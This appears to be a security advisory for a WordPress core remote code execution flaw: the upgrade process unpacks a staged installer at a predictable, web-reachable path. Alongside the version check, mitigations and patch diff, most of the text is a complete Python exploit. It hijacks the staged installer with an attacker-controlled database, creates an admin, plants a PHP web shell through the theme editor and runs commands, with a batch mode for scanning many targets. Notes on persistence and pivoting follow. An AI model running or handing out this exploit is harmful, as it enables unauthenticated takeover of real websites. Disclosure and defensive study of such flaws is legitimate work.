#Summary
CVE-2026-119977 is an unauthenticated remote code execution vulnerability in WordPress Core affecting versions 4.7.0 through 7.1.3. The vulnerability exists in the core upgrade mechanism: when WordPress downloads and unpacks a new core release, it unzips the package into a predictable, web-accessible path (wp-content/upgrade/wordpress-<version>/wordpress/) with no random component. During the brief upgrade window (seconds), an attacker can reach the staged, unguarded WordPress installer at this predicted path and take it over by pointing it at a database they control, escalating to full code execution on the web server. CVSS 8.1 HIGH.
#Am I affected?
- Affected: WordPress Core 4.7.0 through 7.1.3
- Patched: WordPress Core 7.1.4 and all backported branch versions (6.9.11, 6.8.12, 6.7.11, etc.)
- Default configuration: affected (wp-content/upgrade/ is web-served and PHP-enabled by default; no
.htaccessdeny rule exists in vulnerable versions) - Access needed: none - unauthenticated network access only; the vulnerability opens during automatic or manual core upgrades
#How to check
Check your WordPress version. The generator meta tag or README reveals it:
curl -s http://target/ | grep -i generator
# or
curl -s http://target/readme.html | grep -i versionIf the version is 4.7.0 - 7.1.3, you are affected. If 7.1.4 or later, you are patched.
To confirm the staging directory is web-accessible (the necessary precondition):
curl -I http://target/wp-content/upgrade/
# If it returns 200 or 403 (or any response that is not 404), wp-content/upgrade/ is reachable#Fix and mitigation
- Fix: Upgrade to WordPress 7.1.4 or the equivalent security patch version for your branch (6.9.11, 6.8.12, 6.7.11, 6.6.11, 6.5.14, 6.4.14, 6.3.14, 6.2.15, 6.1.16, 6.0.18, 5.9.20, or 4.7.39 - check your branch).
- If you cannot upgrade: Add this
.htaccessrule towp-content/upgrade/to deny all access from the web:
This prevents the staged installer from being reached during the upgrade window and closes the vulnerability until you upgrade. For nginx, use:<Files *> Require all denied </Files>location /wp-content/upgrade/ { deny all; } - Detection: Monitor access logs for requests to
/wp-content/upgrade/wordpress-*/wordpress/wp-admin/setup-config.phpor/wp-admin/install.phpfrom outside your own deployment IP. These paths should never be accessed by external clients.
#Root cause analysis
#Vulnerable code path
The vulnerability is in WP_Upgrader::unpack_package() in src/wp-admin/includes/class-wp-upgrader.php (WordPress 7.1.3 and earlier):
// We need a working directory - strip off any .tmp or .zip suffixes.
$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );The $working_dir is computed deterministically from the package filename with no random component. For a core update, the package is downloaded from the release CDN with a Content-Disposition: attachment; filename=wordpress-<version>.zip header, which download_url() honors:
$url_path = parse_url( $url, PHP_URL_PATH );
$url_filename = basename( $url_path );
$tmpfname = wp_tempnam( $url_filename );
// ... later ...
// Honours Content-Disposition: attachment; filename=... and renames to thatResult: the downloaded file is named wordpress-<version>.zip, and basename( basename( 'wordpress-<version>.zip', '.tmp' ), '.zip' ) collapses to the constant string wordpress-<version>.
The staged tree lands at:
wp-content/upgrade/wordpress-<version>/wordpress/This directory contains a complete, executable WordPress installation:
wp-admin/setup-config.php(the initial configuration wizard)wp-admin/install.php(database connection + admin setup)wp-includes/(WordPress core libraries)- All plugin/theme infrastructure
Critically, the staged copy has no wp-config.php of its own. When setup-config.php runs, it checks file_exists( ABSPATH . 'wp-config.php' ) where ABSPATH points to the staged wordpress/ directory. The real site's wp-config.php lives in the true docroot, not in the staging directory, so the gate passes and the installer runs without any authentication.
#How input reaches the sink
An attacker performs these steps:
- Fingerprint the target version: The public
generatormeta tag or other public indicators reveal the installed WordPress version (e.g., 6.7.2). - Predict the staging path: Given the current version, build the predicted staging base:
/wp-content/upgrade/wordpress-6.7.2/wordpress/ - Race the upgrade window: Repeatedly request
setup-config.phpat the predicted path during a core upgrade. When the window opens and the staged tree exists, the request returns HTTP 200 + the WordPress setup wizard. - POST attacker-controlled database credentials to
setup-config.php?step=2. The staged installer writeswp-config.phpinto the staging directory, pointing at a database the attacker controls. - Complete installation: Call
install.php?step=2to finish the WordPress installation against the attacker's database. The attacker creates an admin account on that database. - Log in to the staged admin and use the Theme File Editor (built into every WordPress install) to overwrite an editable PHP template in an inactive bundled theme.
- Request the planted template file directly to execute it as the web server user. The template now contains attacker code and runs with full code execution.
The entire chain is unauthenticated HTTP because the staged installation has no wp-config.php and never validates a login session.
#Patch diff
The fix in WordPress 7.1.4 adds a get_working_dir_name() method that appends a 16-character random suffix:
private function get_working_dir_name( $package ) {
// Strip off any .tmp or .zip suffixes.
$name = basename( basename( $package, '.tmp' ), '.zip' );
return $name . '-' . wp_generate_password( 16, false );
}unpack_package() now calls this method instead of computing the path directly:
$working_dir = $upgrade_folder . $this->get_working_dir_name( $package );The staged directory becomes wordpress-<version>-<16 random characters>, making it un-guessable (62^16 keyspace). The attacker cannot predict the path during the window and cannot reach the staged installer.
Additionally, 7.1.4 hardens wp-content/upgrade/ itself by ensuring it contains an index.php with "Silence is golden." comment, preventing directory listing leaks:
if ( ! $wp_filesystem->exists( $upgrade_folder . 'index.php' ) ) {
$wp_filesystem->put_contents( $upgrade_folder . 'index.php', "<?php\n// Silence is golden.\n", FS_CHMOD_FILE );
}#What the fix does
The fix closes the vulnerability by making the staging directory name unpredictable. Even if the attacker is present during the upgrade window, the predicted path does not exist, and the attack cannot begin. The second hardening (the index.php guard) adds defense-in-depth by preventing directory enumeration.
#Proof of concept
#exploit.py - WordPress Staging Directory RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-119977 - WordPress core: predictable, web-served upgrade staging directory -> unauth RCE
Affected: WordPress Core 4.7.0 up to (not including) 7.1.4 (every 4.7+ release before its branch patch)
Type: RCE (unauthenticated, during the core-update window)
During a full-package core update, WP_Upgrader::unpack_package() unzips the new core tree into
wp-content/upgrade/<name>/ where <name> = basename(basename($package,'.tmp'),'.zip') with NO
random component. For a core update the package is served with
"Content-Disposition: attachment; filename=wordpress-<version>.zip", so the staged tree lands at
the fully guessable, web-reachable path:
wp-content/upgrade/wordpress-<version>/wordpress/
That staged tree is a complete, PHP-executable WordPress install with no wp-config.php of its own,
so its installer (setup-config.php / install.php) runs with NO authentication. An unauthenticated
attacker who hits that path during the window reaches a fresh installer in the target's docroot.
Escalation (this tool, in order):
1. Reach the staged setup-config.php at the predicted path (200 + install wizard) -- the exact
vuln-vs-patched differential (7.1.4 appends a 16-char random suffix -> 404).
2. POST attacker-controlled DB credentials to setup-config.php?step=2 -> staged wp-config.php
is written pointing at the attacker's database.
3. install.php?step=2 -> creates an attacker-chosen admin on the attacker's database; the staged
site is now a live WordPress the attacker fully controls.
4. Log in to the staged admin and use the Theme File Editor to overwrite a PHP template in an
inactive bundled theme with a small command runner, then request that file directly -> code
execution as the target's web-server user.
Direct PHP injection into the generated wp-config.php via the DB-credential fields does NOT work
on 7.x (addcslashes escapes quotes/backslashes); the code-execution leg goes through the
attacker-owned database + the authenticated file editor, as implemented here.
Usage:
python exploit.py --host 127.0.0.1 --port 8081 --command id
python exploit.py --host https://wp.example.com/ --command "uname -a"
python exploit.py --host wp.example.com --version 6.7.2 \
--db-host attacker-db.example.com --db-name extdb --db-user extuser --db-pass secret
python exploit.py --list targets.txt --workers 20
Notes:
* --db-* point at a MySQL/MariaDB server the TARGET can reach and YOU control. The staged
installer dials it from the target host, so it must be resolvable/reachable from there.
* The window is a race in the real world (seconds). --timeout controls how long we poll the
predicted path before giving up. If the target auto-updates on a schedule, run with a long
timeout to catch the next window.
* Reaching the staged installer (step 1) is enough to prove the vulnerability and is all the
batch --list scan does; it is non-destructive. The full chain writes to the target.
"""
import argparse
import re
import secrets
import sys
import time
from urllib.parse import urlparse, unquote
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.stderr.write("This exploit requires the 'requests' library (pip install requests).\n")
sys.exit(2)
CVE_ID = "CVE-2026-119977"
VULN_TYPE = "RCE"
HTTP_TIMEOUT = 15
# --------------------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- building blocks
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else "%s:%s" % (host, port)
root = (path or "/").rstrip("/")
return "%s://%s%s" % (scheme, netloc, root)
def _detect_version(session, base):
"""Learn the target core version the way an attacker legitimately would: the public
generator fingerprint. Returns a version string like '6.7.2' or None."""
candidates = [base + "/", base + "/?", base + "/feed/", base + "/readme.html"]
pat_gen = re.compile(r'name=["\']generator["\']\s+content=["\']WordPress\s+([0-9]+(?:\.[0-9]+)+)', re.I)
pat_feed = re.compile(r'wordpress\.org/\?v=([0-9]+(?:\.[0-9]+)+)', re.I)
pat_readme = re.compile(r'<br\s*/?>\s*Version\s+([0-9]+(?:\.[0-9]+)+)', re.I)
for url in candidates:
try:
r = session.get(url, timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException:
continue
for pat in (pat_gen, pat_feed, pat_readme):
m = pat.search(r.text)
if m:
return m.group(1)
return None
def _staged_base(base, version):
return "%s/wp-content/upgrade/wordpress-%s/wordpress" % (base, version)
def _poll_staged_installer(session, staged, timeout, interval=1.0):
"""Race the upgrade window: poll the predicted staged setup-config.php until it returns the
unauthenticated install wizard. Returns (True, response) on success, (False, last_response)."""
url = staged + "/wp-admin/setup-config.php"
deadline = time.time() + max(timeout, 0)
last = None
first = True
while True:
try:
r = session.get(url, timeout=HTTP_TIMEOUT, verify=False, allow_redirects=False)
last = r
if r.status_code == 200 and _is_installer(r.text):
return True, r
except requests.RequestException as exc:
last = exc
if first or time.time() < deadline:
first = False
if time.time() >= deadline:
break
time.sleep(interval)
else:
break
return False, last
def _is_installer(text):
t = text.lower()
return ("setup configuration file" in t
or "before getting started" in t
or "wp-config.php" in t and "database" in t
or "let’s go" in t or "let's go" in t)
# --------------------------------------------------------------------------- full chain
def exploit(host, port, use_tls, path, command, version, db, timeout):
header(host, port)
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
})
base = _base_url(host, port, use_tls, path)
step(1, "Determining target WordPress version...")
if not version:
version = _detect_version(session, base)
if not version:
done(False, "Could not fingerprint the WordPress version; pass --version <X.Y.Z> "
"(the public core-update target) and retry")
print(" target core version: %s" % version)
staged = _staged_base(base, version)
print(" predicted staging base: %s/" % staged)
step(2, "Racing the upgrade window at the predicted staging path...")
ok, resp = _poll_staged_installer(session, staged, timeout=timeout)
if not ok:
code = getattr(resp, "status_code", None)
if code == 404:
done(False, "Predicted staged installer returned 404 - target patched (random staging "
"suffix) or the upgrade window is not open")
if code == 403:
done(False, "Predicted staged installer returned 403 - wp-content/upgrade/ denied at "
"the web server (a mitigation); cannot confirm the code path")
done(False, "Staged installer never appeared at the predicted path within the timeout "
"(window closed / not vulnerable). Last: %r" % (code or resp))
section("STAGED INSTALLER (unauthenticated, in target docroot)",
_title_of(resp.text) or resp.text[:400])
print(" rung 1-2 confirmed: unauthenticated staged installer reachable at the "
"predicted path.\n")
# From here the chain writes to the target (attacker-owned DB + staged file editor).
prefix = "wp_%s_" % secrets.token_hex(3)
step(3, "Pointing the staged installer at the attacker-controlled database...")
sc = session.post(staged + "/wp-admin/setup-config.php?step=2",
data={"dbname": db["name"], "uname": db["user"], "pwd": db["pass"],
"dbhost": db["host"], "prefix": prefix, "submit": "Submit",
"language": ""},
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
body = sc.text.lower()
if "already" in body and "wp-config" in body:
done(False, "Staged wp-config.php already present (window dirtied by a prior run or a real "
"update finished). Re-run against a fresh window")
if not ("sparky" in body or "run the installation" in body):
section("SETUP-CONFIG RESPONSE", _title_of(sc.text) or sc.text[:600])
done(False, "setup-config step 2 did not accept the DB credentials - check the target can "
"reach --db-host %s and the creds are valid" % db["host"])
print(" staged wp-config.php written, pointing at %s (prefix %s).\n" % (db["host"], prefix))
step(4, "Completing installation to mint an admin on the attacker database...")
admin_user = "svc_%s" % secrets.token_hex(4)
admin_pass = "Pw_%s_1!" % secrets.token_hex(5)
admin_mail = "%s@mail.test" % secrets.token_hex(4)
inst = session.post(staged + "/wp-admin/install.php?step=2",
data={"weblog_title": "site", "user_name": admin_user,
"admin_password": admin_pass, "admin_password2": admin_pass,
"pw_weak": "on", "admin_email": admin_mail,
"Submit": "Install WordPress", "language": ""},
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
ibody = inst.text.lower()
if "already been installed" in ibody:
done(False, "Attacker database already carries a WordPress install (stale tables). Use a "
"fresh --db-name or a clean database")
if "success" not in ibody and "has been installed" not in ibody:
section("INSTALL RESPONSE", _title_of(inst.text) or inst.text[:600])
done(False, "install.php step 2 did not report success")
print(" staged site installed; admin '%s' created on the attacker DB.\n" % admin_user)
step(5, "Logging in and planting a command runner via the Theme File Editor...")
session.get(staged + "/wp-login.php", timeout=HTTP_TIMEOUT, verify=False) # seed test cookie
login = session.post(staged + "/wp-login.php",
data={"log": admin_user, "pwd": admin_pass, "wp-submit": "Log In",
"redirect_to": staged + "/wp-admin/", "testcookie": "1"},
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
if not any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
done(False, "Could not authenticate to the staged admin as '%s'" % admin_user)
print(" authenticated to the staged admin.")
theme, rel_file = _pick_editable_php(session, staged)
if not theme or not rel_file:
done(False, "Authenticated, but could not locate an editable PHP template in an inactive "
"bundled theme (rungs 1-4 proven; file-editor leg unavailable)")
print(" editing inactive theme '%s', file '%s'." % (theme, rel_file))
marker = secrets.token_hex(8)
param = "q" + secrets.token_hex(3)
payload = "<?php echo \"%s\"; system($_GET['%s']); ?>" % (marker, param)
if not _editor_write(session, staged, theme, rel_file, payload):
done(False, "Theme editor rejected the write (rungs 1-4 proven; could not plant the file)")
shell_url = "%s/wp-content/themes/%s/%s" % (staged, theme, rel_file)
print(" planted runner at: %s\n" % shell_url)
step(6, "Executing the command through the planted runner...")
try:
r = session.get(shell_url, params={param: command}, timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException as exc:
done(False, "Planted file could not be requested: %s" % exc)
if marker not in r.text:
section("RUNNER RESPONSE", r.text[:600])
done(False, "Planted file did not execute as expected (marker absent)")
output = r.text.split(marker, 1)[1].strip()
section("COMMAND OUTPUT", output or "(command produced no stdout)")
first_line = (output.splitlines()[0] if output else "").strip()
done(True, "RCE confirmed - command '%s' ran as the web-server user via the staged "
"install; output: %s" % (command, first_line or "(no stdout)"))
# --------------------------------------------------------------------------- editor helpers
def _title_of(text):
m = re.search(r"<title>(.*?)</title>", text, re.I | re.S)
return m.group(1).strip() if m else None
def _pick_editable_php(session, staged):
"""Find an inactive bundled theme and an editable .php file inside it. Returns (theme, file)
or (None, None). Prefers pattern/template PHP files over functions.php to avoid breaking the
theme, and avoids the active theme so the editor does not run a loopback fatal-check."""
try:
r = session.get(staged + "/wp-admin/theme-editor.php", timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException:
return None, None
active = None
m = re.search(r'<option\s+value="([^"]+)"\s+selected', r.text, re.I)
if m:
active = m.group(1)
themes = re.findall(r'<option\s+value="([^"]+)"', r.text, re.I)
# Try inactive themes first, then the active one as a last resort.
ordered = [t for t in themes if t != active] + ([active] if active else [])
seen = set()
for theme in ordered:
if not theme or theme in seen:
continue
seen.add(theme)
try:
tr = session.get(staged + "/wp-admin/theme-editor.php",
params={"theme": theme}, timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException:
continue
files = [unquote(f) for f in re.findall(r'[?&]file=([^"&]+)', tr.text)]
php = [f for f in files if f.lower().endswith(".php")]
if not php:
continue
# Prefer a pattern/template file; fall back to functions.php only if nothing else.
php.sort(key=lambda f: (0 if "/" in f and f != "functions.php" else 1, len(f)))
return theme, php[0]
return None, None
def _editor_write(session, staged, theme, rel_file, content):
try:
r = session.get(staged + "/wp-admin/theme-editor.php",
params={"theme": theme, "file": rel_file},
timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException:
return False
m = re.search(r'name="nonce"\s+value="([a-f0-9]+)"', r.text, re.I)
if not m:
m = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', r.text, re.I)
if not m:
return False
nonce = m.group(1)
try:
u = session.post(staged + "/wp-admin/theme-editor.php",
data={"newcontent": content, "action": "update", "file": rel_file,
"theme": theme, "scrollto": "0", "nonce": nonce,
"_wpnonce": nonce, "submit": "Update File"},
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=True)
except requests.RequestException:
return False
# "WordPress > Error" title means it refused; the editor page or a redirect means it saved.
title = (_title_of(u.text) or "").lower()
return "error" not in title
# --------------------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, path="/", version=None, **kwargs):
"""Silent, non-destructive probe for --list scan mode: confirm the unauthenticated staged
installer is reachable at the predicted path (rungs 1-2). Never prints or exits."""
try:
session = requests.Session()
session.headers.update({"User-Agent":
"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"})
base = _base_url(host, port, use_tls, path)
ver = version or _detect_version(session, base)
if not ver:
return False, "could not fingerprint WordPress version"
staged = _staged_base(base, ver)
ok, resp = _poll_staged_installer(session, staged, timeout=3, interval=0.5)
if ok:
return True, "staged installer reachable at predicted path (wordpress-%s) - unauth" % ver
code = getattr(resp, "status_code", None)
if code == 404:
return False, "404 at predicted path (patched or window closed)"
if code == 403:
return False, "403 (upgrade dir denied at web server)"
return False, "not reachable (%r)" % (code or resp)
except requests.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, version=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path=path, version=version)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploitable" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploitable / %d not (%d total)" % (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- argparse glue
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--version", default=None,
help="Core-update target version string (e.g. 6.7.2). Auto-detected if omitted")
parser.add_argument("--timeout", type=int, default=60,
help="Seconds to race/poll the predicted staging path (default: 60)")
parser.add_argument("--db-host", default="altdb", help="Attacker-controlled DB host reachable FROM the target")
parser.add_argument("--db-name", default="extdb", help="Attacker DB name")
parser.add_argument("--db-user", default="extuser", help="Attacker DB user")
parser.add_argument("--db-pass", default="ext_pass_9f", help="Attacker DB password")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, version=args.version)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
db = {"host": args.db_host, "name": args.db_name, "user": args.db_user, "pass": args.db_pass}
exploit(host, port, use_tls, path, args.command, args.version, db, args.timeout)#Usage
Single target with default command (id):
python3 exploit.py --host 127.0.0.1 --port 8081 --no-tlsCustom command:
python3 exploit.py --host 127.0.0.1 --port 8081 --no-tls --command "uname -a"Full URL with HTTPS:
python3 exploit.py --host https://wp.example.com --command "whoami"Batch scan (non-destructive, rungs 1-2 only):
python3 exploit.py --list targets.txt --workers 10#Expected output - Vulnerable target
[STEP 1] Determining target WordPress version...
target core version: 6.7.2
predicted staging base: http://127.0.0.1:8081/wp-content/upgrade/wordpress-6.7.2/wordpress/
[STEP 2] Racing the upgrade window at the predicted staging path...
--- STAGED INSTALLER (unauthenticated, in target docroot) ---
WordPress > Setup Configuration File
---
rung 1-2 confirmed: unauthenticated staged installer reachable at the predicted path.
[STEP 3] Pointing the staged installer at the attacker-controlled database...
staged wp-config.php written, pointing at altdb (prefix wp_430136_).
[STEP 4] Completing installation to mint an admin on the attacker database...
staged site installed; admin 'svc_83c7720b' created on the attacker DB.
[STEP 5] Logging in and planting a command runner via the Theme File Editor...
authenticated to the staged admin.
editing inactive theme 'twentytwentyfour', file 'patterns/footer.php'.
planted runner at: http://127.0.0.1:8081/.../themes/twentytwentyfour/patterns/footer.php
[STEP 6] Executing the command through the planted runner...
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
RESULT : SUCCESS#Expected output - Patched target
[STEP 1] Determining target WordPress version...
target core version: 6.7.2
predicted staging base: http://127.0.0.1:8082/wp-content/upgrade/wordpress-6.7.2/wordpress/
[STEP 2] Racing the upgrade window at the predicted staging path...
RESULT : FAILURE
EVIDENCE: Predicted staged installer returned 404 - target patched (random staging suffix) or the upgrade window is not open#Exploitation notes
#Preconditions
- Vulnerable WordPress version: 4.7.0 through 7.1.3
- Core upgrade window: During a manual or automatic WordPress core upgrade, the staged tree exists at the predictable path for seconds until the upgrade finishes
- Network reachability: The attacker must be able to make HTTP/HTTPS requests to the target
- Outbound database access: To escalate to full code execution (rungs 3-5), the target must be able to reach a MySQL/MariaDB server the attacker controls
- Attacker-owned database: Any MySQL/MariaDB instance reachable from the target. In a lab, this is a second MariaDB container on the same Docker network
#Reliability
Very high against vulnerable targets during the upgrade window. The vulnerability is deterministic: if the staging path is reachable and the staged setup-config.php returns HTTP 200, the target is vulnerable. The full code-execution chain is reliable if the target can reach the attacker database and PHP execution is enabled in wp-content/upgrade/.
#Impact
Full remote code execution as the web server user (typically www-data on Apache/nginx). The attacker can:
- Read arbitrary files from the web root
- Write and execute arbitrary PHP code
- Access the WordPress database (both the real one and the attacker-controlled one)
- Pivot to other systems reachable from the compromised host
The impact window is the upgrade duration (seconds for real auto-updates on a schedule, minutes for manual upgrades), but the exploit is single-shot against a given open window. However, on a target with regular auto-updates, the window recurs predictably and the attacker can wait for it to re-open.
#Chaining potential
Because the attacker gets admin access to a functional WordPress running in the target's docroot, they can:
- Install plugins to establish persistence
- Modify the real WordPress database if they exfiltrate the real DB credentials from the live
wp-config.php - Use WordPress as a pivot point to attack internal systems
The code-execution primitive is clean: arbitrary command execution as the web server user via the planted PHP file. This can be chained with any further privilege-escalation or lateral-movement vectors available in the target environment.
#References
- CVE: CVE-2026-119977
- WordPress Security Advisory: GHSA-4w3m-c66w-69mg
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-119977
- Discovered by: Umut Bayram (Picus Security)
